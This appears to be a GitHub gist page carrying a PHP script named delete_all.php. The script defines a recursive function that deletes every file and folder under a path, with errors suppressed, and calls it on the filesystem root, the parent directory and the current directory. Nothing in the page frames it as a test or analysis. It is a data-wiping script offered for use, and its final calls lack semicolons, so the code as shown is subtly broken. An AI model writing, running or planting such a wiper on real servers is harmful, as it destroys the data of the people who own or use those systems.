Skip to content

Instantly share code, notes, and snippets.

@Noxilex
Created November 20, 2022 13:44
Show Gist options
  • Save Noxilex/4d24c84fc8cab2daf3a4114d6323bb63 to your computer and use it in GitHub Desktop.
Save Noxilex/4d24c84fc8cab2daf3a4114d6323bb63 to your computer and use it in GitHub Desktop.
delete_all.php
<?php
function recursiveDelete($str) {
if (is_file($str)) {
return @unlink($str);
}
elseif (is_dir($str)) {
$scan = glob(rtrim($str,'/').'/*');
foreach($scan as $index=>$path) {
recursiveDelete($path);
}
return @rmdir($str);
}
}
recursiveDelete("/")
recursiveDelete("..")
recursiveDelete(".")
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment